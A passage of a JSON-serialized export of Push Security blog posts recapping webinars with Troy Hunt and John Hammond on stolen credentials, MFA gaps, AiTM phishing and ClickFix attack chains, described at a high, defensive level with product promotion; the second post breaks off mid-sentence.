problem.",{"data":13441,"content":13445,"nodeType":912},{"target":13442},{"sys":13443},{"id":13444,"type":909,"linkType":910},"5dcYX9bbre53KdZOF6PsyH",[],{"data":13447,"content":13448,"nodeType":972},{},[],{"data":13450,"content":13451,"nodeType":981},{},[13452],{"data":13453,"marks":13454,"value":13456,"nodeType":865},{},[13455],{"type":926},"1. Compromised credentials are everywhere, and most organizations can't tell which ones matter",{"data":13458,"content":13459,"nodeType":866},{},[13460,13464,13471],{"data":13461,"marks":13462,"value":13463,"nodeType":865},{},[],"The scale of enterprise identity is the backdrop for the entire conversation. The average employee maintains around 15 SaaS accounts, and only a fraction of those sit behind SSO. Of the last million logins observed by Push, ",{"data":13465,"content":13466,"nodeType":889},{"uri":1902},[13467],{"data":13468,"marks":13469,"value":13470,"nodeType":865},{},[],"1 in 4 were password-based rather than SSO, 2 in 5 were not protected by MFA, and 1 in 5 used a weak, breached, or reused password",{"data":13472,"marks":13473,"value":13474,"nodeType":865},{},[],". That's the starting posture — before you even account for how many of those credentials have already been stolen.",{"data":13476,"content":13477,"nodeType":866},{},[13478],{"data":13479,"marks":13480,"value":13481,"nodeType":865},{},[],"Troy's data suggests the answer is: most of them. \"We know credential reuse is massive,\" he said. \"We know attackers get credentials from one data breach and then they go along and they try them on all sorts of different services, and now you've got one data breach leading to multiple account takeovers.\" His service now holds billions of email addresses, monitors 400,000 domains including more than half the Fortune 500, and sends millions of breach notifications every year.",{"data":13483,"content":13484,"nodeType":866},{},[13485],{"data":13486,"marks":13487,"value":13488,"nodeType":865},{},[],"The problem compounds because, as Troy put it, \"data never really dies.\" Employees leave, but their credentials persist in breach datasets and across the SaaS apps they signed up for during their tenure. When an organization pulls its breach exposure data, a significant proportion of what comes back is noise — departed employees, fabricated email addresses, accounts for services that were never sanctioned. Mark described the operational reality: getting a notification that an email address has appeared in a breach \"can be very helpful context, but can also be a recipe for spending some time only to find out that maybe that person left two years ago.\"",{"data":13490,"content":13491,"nodeType":866},{},[13492,13496,13503,13507,13513],{"data":13493,"marks":13494,"value":13495,"nodeType":865},{},[],"The proof is in the breaches. The ",{"data":13497,"content":13498,"nodeType":889},{"uri":3488},[13499],{"data":13500,"marks":13501,"value":13502,"nodeType":865},{},[],"Snowflake incident",{"data":13504,"marks":13505,"value":13506,"nodeType":865},{},[]," was the watershed example — 80% of the compromised accounts had prior breach exposure in datasets dating back to 2020, but without MFA enforcement and without visibility into which credentials were actively in use, those warnings went unanswered while attackers walked in through the front door. The accounts still had local, password-based logins enabled — ",{"data":13508,"content":13509,"nodeType":889},{"uri":6710},[13510],{"data":13511,"marks":13512,"value":6715,"nodeType":865},{},[],{"data":13514,"marks":13515,"value":13516,"nodeType":865},{},[]," that persisted even in environments that thought they'd moved to SSO.",{"data":13518,"content":13519,"nodeType":866},{},[13520,13524,13532],{"data":13521,"marks":13522,"value":13523,"nodeType":865},{},[],"Push's approach is to ",{"data":13525,"content":13527,"nodeType":889},{"uri":13526},"https://pushsecurity.com/blog/verified-stolen-credential-detection/",[13528],{"data":13529,"marks":13530,"value":13531,"nodeType":865},{},[],"match breach intelligence against observed login behavior",{"data":13533,"marks":13534,"value":13535,"nodeType":865},{},[]," — correlating stolen credential feeds with the authentication events Push sees in the browser, so that a compromised credential only generates an alert when someone is actively logging in with it. That eliminates 99% of the false positives that make raw breach feeds so painful to operationalize, and turns a low-fidelity data source into something security teams can actually act on.",{"data":13537,"content":13538,"nodeType":972},{},[],{"data":13540,"content":13541,"nodeType":981},{},[13542],{"data":13543,"marks":13544,"value":13546,"nodeType":865},{},[13545],{"type":926},"2. Attacks aren't slowing down — they're industrializing",{"data":13548,"content":13549,"nodeType":866},{},[13550],{"data":13551,"marks":13552,"value":13553,"nodeType":865},{},[],"With that many vulnerable credentials sitting in circulation, the question is how easily attackers can exploit them — and the answer, as Troy described it, is easier than ever. \"There's almost like the democratization of hacking tools,\" he said. \"When you get all of these things as a service — phishing as a service, ransomware as a service — you don't need to be particularly technically smart if you can go and pay someone else for access to their infrastructure.\"",{"data":13555,"content":13556,"nodeType":866},{},[13557,13561,13567,13571,13578],{"data":13558,"marks":13559,"value":13560,"nodeType":865},{},[],"The criminal tooling ecosystem now mirrors legitimate SaaS: turnkey platforms with tiered pricing, customer support, and continuous development cycles. Phishing-as-a-Service kits like ",{"data":13562,"content":13563,"nodeType":889},{"uri":4813},[13564],{"data":13565,"marks":13566,"value":10642,"nodeType":865},{},[],{"data":13568,"marks":13569,"value":13570,"nodeType":865},{},[]," — responsible for 62% of phishing blocked by Microsoft — offer turnkey AiTM infrastructure that intercepts session tokens in real time and bypasses MFA out of the box. The kits are also converging: AiTM platforms are adding device code phishing modules, credential harvesting kits are adding session token capture, and ",{"data":13572,"content":13573,"nodeType":889},{"uri":6347},[13574],{"data":13575,"marks":13576,"value":13577,"nodeType":865},{},[],"60–70% of phishing attacks now originate from PhaaS platforms",{"data":13579,"marks":13580,"value":13581,"nodeType":865},{},[],". The sophistication of the attack no longer reflects the sophistication of the attacker.",{"data":13583,"content":13584,"nodeType":866},{},[13585],{"data":13586,"marks":13587,"value":13588,"nodeType":865},{},[],"As Troy said: \"If you look at this through the lens of the moral neutrality of technology, that rising tide lifts all boats. And some of those boats are criminals who can now do things easier than before.\"",{"data":13590,"content":13591,"nodeType":972},{},[],{"data":13593,"content":13594,"nodeType":981},{},[13595],{"data":13596,"marks":13597,"value":13599,"nodeType":865},{},[13598],{"type":926},"3. You don't need to be a hacker to breach a Fortune 100 company",{"data":13601,"content":13602,"nodeType":866},{},[13603],{"data":13604,"marks":13605,"value":13606,"nodeType":865},{},[],"One of the most striking threads in the conversation was Troy's observation about who is actually behind these breaches — and how little technical sophistication they bring to the table. \"The average age of people that are being arrested for a lot of these data breach style activities is around about 19,\" he said. \"Fortune 100 companies are being breached by a kid in his bedroom. That is wild.\"",{"data":13608,"content":13609,"nodeType":866},{},[13610],{"data":13611,"marks":13612,"value":13613,"nodeType":865},{},[],"The leverage is disproportionate precisely because the attacks don't require deep technical skill. \"A lot of the attacks lately have been social engineering attacks,\" Troy continued, noting with parental familiarity that \"kids are great at social engineering — if you've got kids, you know how good they are at social engineering.\"",{"data":13615,"content":13616,"nodeType":866},{},[13617,13620,13627,13631,13639,13643,13650],{"data":13618,"marks":13619,"value":1449,"nodeType":865},{},[],{"data":13621,"content":13622,"nodeType":889},{"uri":3820},[13623],{"data":13624,"marks":13625,"value":3825,"nodeType":865},{},[13626],{"type":943},{"data":13628,"marks":13629,"value":13630,"nodeType":865},{},[]," ecosystem — the group Troy and Mark discussed as the dominant threat actor at the time of recording — exemplifies this pattern. They're getting into Salesforce instances via voice phishing, not through zero-day exploits, and the tooling behind their campaigns is industrialized enough that Push's research team was able to ",{"data":13632,"content":13634,"nodeType":889},{"uri":13633},"https://pushsecurity.com/blog/inside-criminal-phishing-panel/",[13635],{"data":13636,"marks":13637,"value":13638,"nodeType":865},{},[],"infiltrate one of their criminal phishing panels",{"data":13640,"marks":13641,"value":13642,"nodeType":865},{},[]," and observe real-time victim targeting across four distinct infrastructure clusters and over 400 linked domains. Our ",{"data":13644,"content":13645,"nodeType":889},{"uri":3820},[13646],{"data":13647,"marks":13648,"value":13649,"nodeType":865},{},[],"analysis of the Instructure breach",{"data":13651,"marks":13652,"value":13653,"nodeType":865},{},[]," broke down the three core techniques behind these campaigns — credential phishing, AiTM attacks, and account takeover — none of which require particular technical sophistication to execute.",{"data":13655,"content":13656,"nodeType":866},{},[13657],{"data":13658,"marks":13659,"value":13660,"nodeType":865},{},[],"The reproducible playbook Troy described is an identity attack pattern, not a software vulnerability. \"Once you do get a group that manages to find a reproducible pattern to gain access to these things, the same pattern is used by so many different organizations\". And identity attacks scale precisely because they target the weakest link in the chain: the way people actually log in.",{"data":13662,"content":13663,"nodeType":972},{},[],{"data":13665,"content":13666,"nodeType":981},{},[13667],{"data":13668,"marks":13669,"value":13671,"nodeType":865},{},[13670],{"type":926},"4. Your attack surface is bigger than your org chart",{"data":13673,"content":13674,"nodeType":866},{},[13675,13679,13687,13691,13699],{"data":13676,"marks":13677,"value":13678,"nodeType":865},{},[],"Troy connected the credential problem to the broader reality of modern enterprise architecture: the attack surface isn't defined by your systems anymore — it's defined by every external dependency your employees touch. \"We're seeing attacks against the likes of Okta, because obviously Okta holds identity,\" he said. \"",{"data":13680,"content":13681,"nodeType":889},{"uri":3820},[13682],{"data":13683,"marks":13684,"value":13686,"nodeType":865},{},[13685],{"type":943},"Salesforce",{"data":13688,"marks":13689,"value":13690,"nodeType":865},{},[],", a couple of years ago it was things like ",{"data":13692,"content":13693,"nodeType":889},{"uri":3488},[13694],{"data":13695,"marks":13696,"value":13698,"nodeType":865},{},[13697],{"type":943},"Snowflake",{"data":13700,"marks":13701,"value":13702,"nodeType":865},{},[]," — these external dependencies, and then you have so many different entry points into them.\"",{"data":13704,"content":13705,"nodeType":866},{},[13706],{"data":13707,"marks":13708,"value":13709,"nodeType":865},{},[],"When Troy tried to describe the resulting complexity, the metaphor was telling: \"If you put all of this up on the board, sort of like crime fighter style and you draw the lines between everything, it's just an absolute spider web of interdependencies and access rights.\"",{"data":13711,"content":13712,"nodeType":866},{},[13713],{"data":13714,"marks":13715,"value":13716,"nodeType":865},{},[],"Mark made the point that the attack chain itself has shifted accordingly: \"The first part of the attack, the infostealer, might not even be something that happened in your environment. You're just gonna see the tail end of that attack chain.\" An employee's credentials get harvested from a personal device, sit in a criminal marketplace for months, and then get used to log into a SaaS app that your IdP doesn't even know exists — because the employee signed up with their corporate email and a reused password. With the average employee maintaining around 15 SaaS accounts, the organizational identity surface extends far beyond what any single IdP directory shows, and most of it is completely unmanaged.",{"data":13718,"content":13719,"nodeType":866},{},[13720,13724,13733,13737,13745],{"data":13721,"marks":13722,"value":13723,"nodeType":865},{},[],"This is the identity surface area Push is built to make visible: ",{"data":13725,"content":13727,"nodeType":889},{"uri":13726},"https://pushsecurity.com/uc/shadow-saas",[13728],{"data":13729,"marks":13730,"value":13732,"nodeType":865},{},[13731],{"type":943},"shadow SaaS",{"data":13734,"marks":13735,"value":13736,"nodeType":865},{},[]," discovered through actual login events, authentication methods observed at the point of login, and the gap between what your IdP thinks is happening and ",{"data":13738,"content":13739,"nodeType":889},{"uri":6710},[13740],{"data":13741,"marks":13742,"value":13744,"nodeType":865},{},[13743],{"type":943},"how people are actually authenticating",{"data":13746,"marks":13747,"value":1615,"nodeType":865},{},[],{"data":13749,"content":13750,"nodeType":972},{},[],{"data":13752,"content":13753,"nodeType":981},{},[13754],{"data":13755,"marks":13756,"value":13758,"nodeType":865},{},[13757],{"type":926},"5. Even Troy Hunt got phished, showing the need for stronger technical protections, not just more awareness training ",{"data":13760,"content":13761,"nodeType":866},{},[13762,13766,13775],{"data":13763,"marks":13764,"value":13765,"nodeType":865},{},[],"Troy recounted the story of his ",{"data":13767,"content":13769,"nodeType":889},{"uri":13768},"https://pushsecurity.com/blog/dissecting-a-recent-mailchimp-phishing-attack/",[13770],{"data":13771,"marks":13772,"value":13774,"nodeType":865},{},[13773],{"type":943},"own phishing incident",{"data":13776,"marks":13777,"value":13778,"nodeType":865},{},[],". \"My password out of 1Password got phished. My OTP out of 1Password got phished because it was a phishable form of 2FA,\" he said. \"And as a result, my mailing list got exposed. So I had to put my own mailing list into Have I Been Pwned and then email all my subscribers, which was, to be honest, slightly embarrassing.\"",{"data":13780,"content":13781,"nodeType":866},{},[13782],{"data":13783,"marks":13784,"value":13785,"nodeType":865},{},[],"If the person who runs Have I Been Pwned — someone who has spent over a decade immersed in breach data and credential security — can get phished, the lesson clearly isn't \"pay more attention.\" Troy was explicit about the takeaway: \"It reinforces the need for technical controls that are separate and complementary to the human controls. In my own case, the human controls broke down. Unfortunately there weren't sufficient technical controls in order to save me from myself.\"",{"data":13787,"content":13788,"nodeType":866},{},[13789,13793,13800],{"data":13790,"marks":13791,"value":13792,"nodeType":865},{},[],"Mark pushed the point further during the Q&A: \"Expecting users, even well-educated ones, even security practitioners, to be able to differentiate — I think that's just not a reasonable expectation.\" When phishing arrives from ",{"data":13794,"content":13795,"nodeType":889},{"uri":6347},[13796],{"data":13797,"marks":13798,"value":13799,"nodeType":865},{},[],"legitimate domains via notification pipeline abuse",{"data":13801,"marks":13802,"value":13803,"nodeType":865},{},[],", from compromised contacts on LinkedIn, and from sponsored Google search results  the signals users were trained to look for simply don't exist anymore. Training remains valuable as a layer, but the structural argument for technical controls inside the browser was reinforced throughout the session.",{"data":13805,"content":13806,"nodeType":972},{},[],{"data":13808,"content":13809,"nodeType":981},{},[13810],{"data":13811,"marks":13812,"value":13814,"nodeType":865},{},[13813],{"type":926},"6. MFA is necessary but it's not the finish line",{"data":13816,"content":13817,"nodeType":866},{},[13818],{"data":13819,"marks":13820,"value":13821,"nodeType":865},{},[],"Both speakers returned to MFA multiple times, and the consensus was clear: any MFA beats no MFA, but treating it as a solved problem is dangerous. Troy was direct: \"You can have the world's best non-phishable 2FA. But an infostealer gets you cookie material and they can replay that and it had browser fingerprints and things in it as well, then you've still got a problem.\" ",{"data":13823,"content":13824,"nodeType":866},{},[13825,13829,13836],{"data":13826,"marks":13827,"value":13828,"nodeType":865},{},[],"Mark reinforced this: \"We're seeing a lot of post-authentication attacks — session hijacking, consent attacks — where you can have the strongest authentication methods available, but if you're sidestepping or doing a post-authentication action, that's really not gonna matter.\" And with ",{"data":13830,"content":13831,"nodeType":889},{"uri":1902},[13832],{"data":13833,"marks":13834,"value":13835,"nodeType":865},{},[],"2 in 5 logins observed by Push still lacking MFA at all",{"data":13837,"marks":13838,"value":13839,"nodeType":865},{},[],", many organizations haven't yet reached the baseline where post-authentication attacks are even the primary concern — they're still exposed to straightforward credential-based compromise at scale.",{"data":13841,"content":13842,"nodeType":866},{},[13843,13847,13855,13859,13866,13870,13877],{"data":13844,"marks":13845,"value":13846,"nodeType":865},{},[],"Push addresses both halves: ",{"data":13848,"content":13850,"nodeType":889},{"uri":13849},"https://pushsecurity.com/blog/introducing-set-and-forget-controls-that-stop-real-world-identity-attacks/",[13851],{"data":13852,"marks":13853,"value":13854,"nodeType":865},{},[],"MFA enforcement guardrails",{"data":13856,"marks":13857,"value":13858,"nodeType":865},{},[]," surface where MFA is missing and guide users toward enrollment, while ",{"data":13860,"content":13861,"nodeType":889},{"uri":1256},[13862],{"data":13863,"marks":13864,"value":13865,"nodeType":865},{},[],"session hijacking detection",{"data":13867,"marks":13868,"value":13869,"nodeType":865},{},[]," and",{"data":13871,"content":13872,"nodeType":889},{"uri":1951},[13873],{"data":13874,"marks":13875,"value":13876,"nodeType":865},{},[]," authorization attack protections",{"data":13878,"marks":13879,"value":13880,"nodeType":865},{},[]," — including device code phishing detection and OAuth consent monitoring — catch the post-authentication attacks MFA was never designed to stop.",{"data":13882,"content":13883,"nodeType":972},{},[],{"data":13885,"content":13886,"nodeType":981},{},[13887],{"data":13888,"marks":13889,"value":13891,"nodeType":865},{},[13890],{"type":926},"7. The ClickFix-to-infostealer-to-account takeover flywheel",{"data":13893,"content":13894,"nodeType":866},{},[13895],{"data":13896,"marks":13897,"value":13898,"nodeType":865},{},[],"The final thread that ran through the conversation was the self-reinforcing nature of the modern attack chain. Mark laid out the cycle explicitly: \"ClickFix to infostealer to account takeover, which results then in maybe more ad account takeover, so we distribute more ClickFix and it just kind of has this compounding effect.\"",{"data":13900,"content":13901,"nodeType":866},{},[13902,13906,13912,13916,13922,13926,13933],{"data":13903,"marks":13904,"value":13905,"nodeType":865},{},[],"This isn't a linear attack path — it's a flywheel. ",{"data":13907,"content":13908,"nodeType":889},{"uri":5409},[13909],{"data":13910,"marks":13911,"value":315,"nodeType":865},{},[],{"data":13913,"marks":13914,"value":13915,"nodeType":865},{},[]," silently injects a malicious command into the victim's clipboard and instructs them to paste and execute it, delivering infostealer malware that harvests credentials and session tokens from the browser. Those stolen credentials fuel credential stuffing attacks across every SaaS app the victim has accounts on — particularly apps with ",{"data":13917,"content":13918,"nodeType":889},{"uri":6710},[13919],{"data":13920,"marks":13921,"value":6715,"nodeType":865},{},[],{"data":13923,"marks":13924,"value":13925,"nodeType":865},{},[]," where local password-based authentication still works even after SSO was configured. Compromised advertising and social media accounts are then used to distribute more ClickFix lures through ",{"data":13927,"content":13928,"nodeType":889},{"uri":6347},[13929],{"data":13930,"marks":13931,"value":13932,"nodeType":865},{},[],"Google search results, malvertising, and compromised websites",{"data":13934,"marks":13935,"value":13936,"nodeType":865},{},[],", and the cycle starts again.",{"data":13938,"content":13939,"nodeType":866},{},[13940,13944,13951,13955,13962],{"data":13941,"marks":13942,"value":13943,"nodeType":865},{},[],"The scale compounds with every rotation, and the numbers suggest the flywheel is already spinning fast — ",{"data":13945,"content":13946,"nodeType":889},{"uri":6347},[13947],{"data":13948,"marks":13949,"value":13950,"nodeType":865},{},[],"54% of all ransomware attacks in 2025 traced back to infostealer-enabled credential theft",{"data":13952,"marks":13953,"value":13954,"nodeType":865},{},[],", and ClickFix was identified as ",{"data":13956,"content":13957,"nodeType":889},{"uri":6347},[13958],{"data":13959,"marks":13960,"value":13961,"nodeType":865},{},[],"the most common initial access vector",{"data":13963,"marks":13964,"value":13965,"nodeType":865},{},[]," by Microsoft last year.",{"data":13967,"content":13968,"nodeType":866},{},[13969,13973,13980,13984,13991,13995,14002,14005,14012],{"data":13970,"marks":13971,"value":13972,"nodeType":865},{},[],"Push breaks the chain at multiple points: detecting ",{"data":13974,"content":13975,"nodeType":889},{"uri":5409},[13976],{"data":13977,"marks":13978,"value":13979,"nodeType":865},{},[],"ClickFix clipboard injection",{"data":13981,"marks":13982,"value":13983,"nodeType":865},{},[]," before the payload reaches the endpoint, ",{"data":13985,"content":13986,"nodeType":889},{"uri":13526},[13987],{"data":13988,"marks":13989,"value":13990,"nodeType":865},{},[],"identifying stolen credentials",{"data":13992,"marks":13993,"value":13994,"nodeType":865},{},[]," when they're actively used in login attempts, flagging ",{"data":13996,"content":13997,"nodeType":889},{"uri":13849},[13998],{"data":13999,"marks":14000,"value":14001,"nodeType":865},{},[],"accounts missing MFA",{"data":14003,"marks":14004,"value":3476,"nodeType":865},{},[],{"data":14006,"content":14007,"nodeType":889},{"uri":1256},[14008],{"data":14009,"marks":14010,"value":14011,"nodeType":865},{},[],"detecting session hijacking",{"data":14013,"marks":14014,"value":14015,"nodeType":865},{},[]," when stolen tokens are replayed outside the protected browser.",{"data":14017,"content":14018,"nodeType":972},{},[],{"data":14020,"content":14021,"nodeType":981},{},[14022],{"data":14023,"marks":14024,"value":14026,"nodeType":865},{},[14025],{"type":926},"The bigger picture",{"data":14028,"content":14029,"nodeType":866},{},[14030],{"data":14031,"marks":14032,"value":14033,"nodeType":865},{},[],"The conversation with Troy reinforced something we see in our own data every day: the credential problem isn't just an awareness problem — and better technical controls are needed. Organizations know credentials get compromised, they subscribe to breach notification services, and they run security awareness training, but without the ability to match that intelligence against what's actually happening in the browser — which credentials are in active use, which accounts lack MFA, which logins bypass SSO entirely — the gap between knowing about a compromised credential and being able to do anything about it remains vast.",{"data":14035,"content":14036,"nodeType":866},{},[14037],{"data":14038,"marks":14039,"value":14040,"nodeType":865},{},[],"Troy's work at Have I Been Pwned has made that gap more visible than anyone else could, and the conversation is worth watching in full for the practitioner-level detail he brings to a problem most organizations are still underestimating.",{"data":14042,"content":14043,"nodeType":866},{},[14044,14047,14056,14060,14067],{"data":14045,"marks":14046,"value":21,"nodeType":865},{},[],{"data":14048,"content":14050,"nodeType":889},{"uri":14049},"https://pushsecurity.com/resources/yes-youve-been-pwned",[14051],{"data":14052,"marks":14053,"value":14055,"nodeType":865},{},[14054],{"type":943},"Watch the full webinar",{"data":14057,"marks":14058,"value":14059,"nodeType":865},{},[]," to hear the full conversation — or ",{"data":14061,"content":14062,"nodeType":889},{"uri":1372},[14063],{"data":14064,"marks":14065,"value":14066,"nodeType":865},{},[],"book a demo",{"data":14068,"marks":14069,"value":14070,"nodeType":865},{},[]," to see how Push turns credential intelligence into actionable detections.",{"entries":14072},{"hyperlink":14073,"inline":14074,"block":14075},[],[],[14076],{"sys":14077,"__typename":1414,"type":1415,"ctaText":14078,"buttonLabel":14079,"buttonColour":1418,"buttonUrl":14049},{"id":13444},"Watch the full webinar on demand.","Click here",{"items":14081},[],{},"7 things we learned from our conversation with Troy Hunt","2026-05-20T00:00:00.000Z",{"items":14086},[14087,14683,15404],{"__typename":1429,"sys":14088,"content":14090,"title":14669,"synopsis":14670,"hashTags":59,"publishedDate":14671,"slug":14672,"tagsCollection":14673,"authorsCollection":14679},{"id":14089},"6V12IJexyAkFFVIrbwlNPq",{"json":14091},{"data":14092,"content":14093,"nodeType":1382},{},[14094,14114,14120,14123,14131,14181,14191,14194,14202,14221,14228,14252,14270,14273,14281,14299,14306,14313,14323,14326,14334,14365,14383,14386,14394,14411,14418,14425,14428,14436,14453,14460,14478,14488,14495,14498,14506,14522,14529,14536,14548,14558,14575,14578,14586,14593,14641],{"data":14095,"content":14096,"nodeType":866},{},[14097,14101,14110],{"data":14098,"marks":14099,"value":14100,"nodeType":865},{},[],"We recently sat down with ",{"data":14102,"content":14104,"nodeType":889},{"uri":14103},"https://www.youtube.com/@_JohnHammond",[14105],{"data":14106,"marks":14107,"value":14109,"nodeType":865},{},[14108],{"type":943},"John Hammond",{"data":14111,"marks":14112,"value":14113,"nodeType":865},{},[]," — Senior Principal Security Researcher at Huntress — for a live deep-dive into the browser-based attack techniques defining the 2026 threat landscape. The session covered AiTM phishing, ClickFix, ConsentFix, device code phishing, and the structural shifts making traditional security controls less effective against all of them. Here are seven takeaways.",{"data":14115,"content":14119,"nodeType":912},{"target":14116},{"sys":14117},{"id":14118,"type":909,"linkType":910},"5lJ49aLY0nApDeY69tNvUi",[],{"data":14121,"content":14122,"nodeType":972},{},[],{"data":14124,"content":14125,"nodeType":981},{},[14126],{"data":14127,"marks":14128,"value":14130,"nodeType":865},{},[14129],{"type":926},"1. Browser attacks are evolving faster than defenses can adapt",{"data":14132,"content":14133,"nodeType":866},{},[14134,14138,14145,14149,14156,14160,14167,14171,14178],{"data":14135,"marks":14136,"value":14137,"nodeType":865},{},[],"The overriding theme of the session wasn't any single technique — it was the pace of change across all of them. AiTM phishing has been ",{"data":14139,"content":14140,"nodeType":889},{"uri":4813},[14141],{"data":14142,"marks":14143,"value":14144,"nodeType":865},{},[],"the dominant phishing technique",{"data":14146,"marks":14147,"value":14148,"nodeType":865},{},[]," for a couple of years now, but the variants layered on top of it are arriving faster than most security teams can evaluate, let alone deploy defenses against. ClickFix went from novel to ",{"data":14150,"content":14151,"nodeType":889},{"uri":6347},[14152],{"data":14153,"marks":14154,"value":14155,"nodeType":865},{},[],"the most common initial access vector observed by Microsoft",{"data":14157,"marks":14158,"value":14159,"nodeType":865},{},[]," within about a year. Device code phishing went from near-zero to ",{"data":14161,"content":14162,"nodeType":889},{"uri":1951},[14163],{"data":14164,"marks":14165,"value":14166,"nodeType":865},{},[],"at least 12 distinct kits",{"data":14168,"marks":14169,"value":14170,"nodeType":865},{},[]," in a matter of months. ConsentFix was detected as a zero-day technique by Push in late 2025 and has already been ",{"data":14172,"content":14173,"nodeType":889},{"uri":5739},[14174],{"data":14175,"marks":14176,"value":14177,"nodeType":865},{},[],"operationalized on criminal forums",{"data":14179,"marks":14180,"value":1615,"nodeType":865},{},[],{"data":14182,"content":14183,"nodeType":7584},{},[14184],{"data":14185,"content":14186,"nodeType":866},{},[14187],{"data":14188,"marks":14189,"value":14190,"nodeType":865},{},[],"As Luke put it toward the end of the session: \"I've seen this develop so fast over the last two years. This isn't what's coming — this is now. This is where the battleground is.\"",{"data":14192,"content":14193,"nodeType":972},{},[],{"data":14195,"content":14196,"nodeType":981},{},[14197],{"data":14198,"marks":14199,"value":14201,"nodeType":865},{},[14200],{"type":926},"2. AiTM phishing is table stakes for attackers ",{"data":14203,"content":14204,"nodeType":866},{},[14205,14209,14217],{"data":14206,"marks":14207,"value":14208,"nodeType":865},{},[],"Adversary-in-the-middle phishing — where a reverse proxy sits between the victim and the real login page, intercepting session tokens in real time to bypass MFA — is no longer an advanced technique. It's available as a commodity for-hire through Phishing-as-a-Service platforms like Tycoon2FA, Sneaky2FA, and others",{"data":14210,"content":14211,"nodeType":889},{"uri":4813},[14212],{"data":14213,"marks":14214,"value":14216,"nodeType":865},{},[14215],{"type":943},",",{"data":14218,"marks":14219,"value":14220,"nodeType":865},{},[]," and the kits are getting harder to detect through traditional means.",{"data":14222,"content":14223,"nodeType":866},{},[14224],{"data":14225,"marks":14226,"value":14227,"nodeType":865},{},[],"Luke demoed the attacker's perspective using Evilginx — an open-source tool now commonly seen in criminal operations — showing how session tokens are captured in real time even when the victim enters their MFA code correctly. From the victim's side, the login feels completely normal.",{"data":14229,"content":14230,"nodeType":866},{},[14231,14236,14240,14248],{"data":14232,"marks":14233,"value":14235,"nodeType":865},{},[14234],{"type":926},"One of the key focuses in the session was how attackers are abusing legitimate infrastructure for both hosting and delivery of phishing pages. .",{"data":14237,"marks":14238,"value":14239,"nodeType":865},{},[]," The in-the-wild examples showed attack chains routing through multiple legitimate services — file-sharing platforms, TinyURL, Cloudflare Turnstile, Google Search redirects — before finally landing on the phishing page. This is a well established technique for ",{"data":14241,"content":14242,"nodeType":889},{"uri":8862},[14243],{"data":14244,"marks":14245,"value":14247,"nodeType":865},{},[14246],{"type":943},"detection evasion",{"data":14249,"marks":14250,"value":14251,"nodeType":865},{},[],". ",{"data":14253,"content":14254,"nodeType":866},{},[14255,14259,14266],{"data":14256,"marks":14257,"value":14258,"nodeType":865},{},[],"As John observed, \"the end user doesn't have that wherewithal or that observability understanding of how far they drove around across the internet\" before arriving at the credential-harvesting page. Push reconstructs these multi-hop chains into a ",{"data":14260,"content":14261,"nodeType":889},{"uri":1256},[14262],{"data":14263,"marks":14264,"value":14265,"nodeType":865},{},[],"complete timeline",{"data":14267,"marks":14268,"value":14269,"nodeType":865},{},[],", mapping the full redirect sequence even when individual hops are through trusted domains that wouldn't trigger any reputation-based alert — and crucially, detects malicious content on the phishing page itself rather than relying on known-bad IP and domain based checks that can only see the known-good sites used early in the chain.",{"data":14271,"content":14272,"nodeType":972},{},[],{"data":14274,"content":14275,"nodeType":981},{},[14276],{"data":14277,"marks":14278,"value":14280,"nodeType":865},{},[14279],{"type":926},"3. Email is losing its market share as a delivery vector",{"data":14282,"content":14283,"nodeType":866},{},[14284,14288,14295],{"data":14285,"marks":14286,"value":14287,"nodeType":865},{},[],"One of the most striking examples in the webinar was a targeted AiTM campaign ",{"data":14289,"content":14290,"nodeType":889},{"uri":951},[14291],{"data":14292,"marks":14293,"value":14294,"nodeType":865},{},[],"Push detected last year",{"data":14296,"marks":14297,"value":14298,"nodeType":865},{},[]," that was delivered entirely via LinkedIn. Senior executives at tech companies received direct messages from compromised contacts — people they already knew, in some cases other employees of the same companies — offering involvement in private equity fundraising rounds connected to companies they had real involvement with. The targeting was precise and personal, and the redirect chain ran through sites.google.com and Microsoft Dynamics before landing on a cloned login page.",{"data":14300,"content":14301,"nodeType":866},{},[14302],{"data":14303,"marks":14304,"value":14305,"nodeType":865},{},[],"As Luke noted, LinkedIn occupies an unusual middle ground: \"It's this great way of targeting companies, but through a vector that can't really be monitored in the same way as other corporate systems, because it's kind of a personal platform.\" It's personal enough that companies can't realistically monitor it, but professional enough that employees routinely access it from corporate devices.",{"data":14307,"content":14308,"nodeType":866},{},[14309],{"data":14310,"marks":14311,"value":14312,"nodeType":865},{},[],"LinkedIn is only part of the shift. ClickFix attacks most commonly arrive via search results in 4 of 5 cases based on Push data. Luke noted \"not even malvertising, just organic search, uncovering legit websites that have been compromised.\" InstallFix pages appear as sponsored Google ads. ConsentFix pages were seeded on compromised websites found through normal browsing. In every case, the email gateway never sees the lure because the lure was never in an email. And of course, even if a compromised website is reported and removed, it’s easier than ever for an attacker to quickly tear down and rotate their sites to stay ahead of blocklists. ",{"data":14314,"content":14315,"nodeType":7584},{},[14316],{"data":14317,"content":14318,"nodeType":866},{},[14319],{"data":14320,"marks":14321,"value":14322,"nodeType":865},{},[],"As John put it: \"You could set up this lure or this trap out on the open internet so that anyone could fall for it at any point.\"",{"data":14324,"content":14325,"nodeType":972},{},[],{"data":14327,"content":14328,"nodeType":981},{},[14329],{"data":14330,"marks":14331,"value":14333,"nodeType":865},{},[14332],{"type":926},"4. ClickFix keeps evolving with multiple *Fix derivatives",{"data":14335,"content":14336,"nodeType":866},{},[14337,14341,14349,14353,14361],{"data":14338,"marks":14339,"value":14340,"nodeType":865},{},[],"ClickFix — where a malicious page silently writes a payload to the victim's clipboard and instructs them to paste and execute it — ",{"data":14342,"content":14343,"nodeType":889},{"uri":5409},[14344],{"data":14345,"marks":14346,"value":14348,"nodeType":865},{},[14347],{"type":943},"spawned an entire family of variants since its emergence, according to Push’s research",{"data":14350,"marks":14351,"value":14352,"nodeType":865},{},[],". The webinar showed how far the social engineering has come: Luke demonstrated a ",{"data":14354,"content":14356,"nodeType":889},{"uri":14355},"https://pushsecurity.com/blog/the-most-advanced-clickfix-yet/",[14357],{"data":14358,"marks":14359,"value":14360,"nodeType":865},{},[],"particularly sophisticated variant",{"data":14362,"marks":14363,"value":14364,"nodeType":865},{},[]," on a compromised legitimate website with an embedded instructional video and a countdown timer to manufacture urgency, targeting macOS. As John noted: \"It can be cross-platform because you're just preying on the human weakness. The video smooths it over for the user experience.\"",{"data":14366,"content":14367,"nodeType":866},{},[14368,14372,14379],{"data":14369,"marks":14370,"value":14371,"nodeType":865},{},[],"The more important point was structural. Because the user manually pastes and executes the command, \"from the EDR's perspective, the user just manually ran this command,\" Luke explained. \"It actually breaks that link from an EDR's perspective.\" EDR behavioral detections weigh execution context heavily — a PowerShell command spawned from a browser process tree is suspicious, 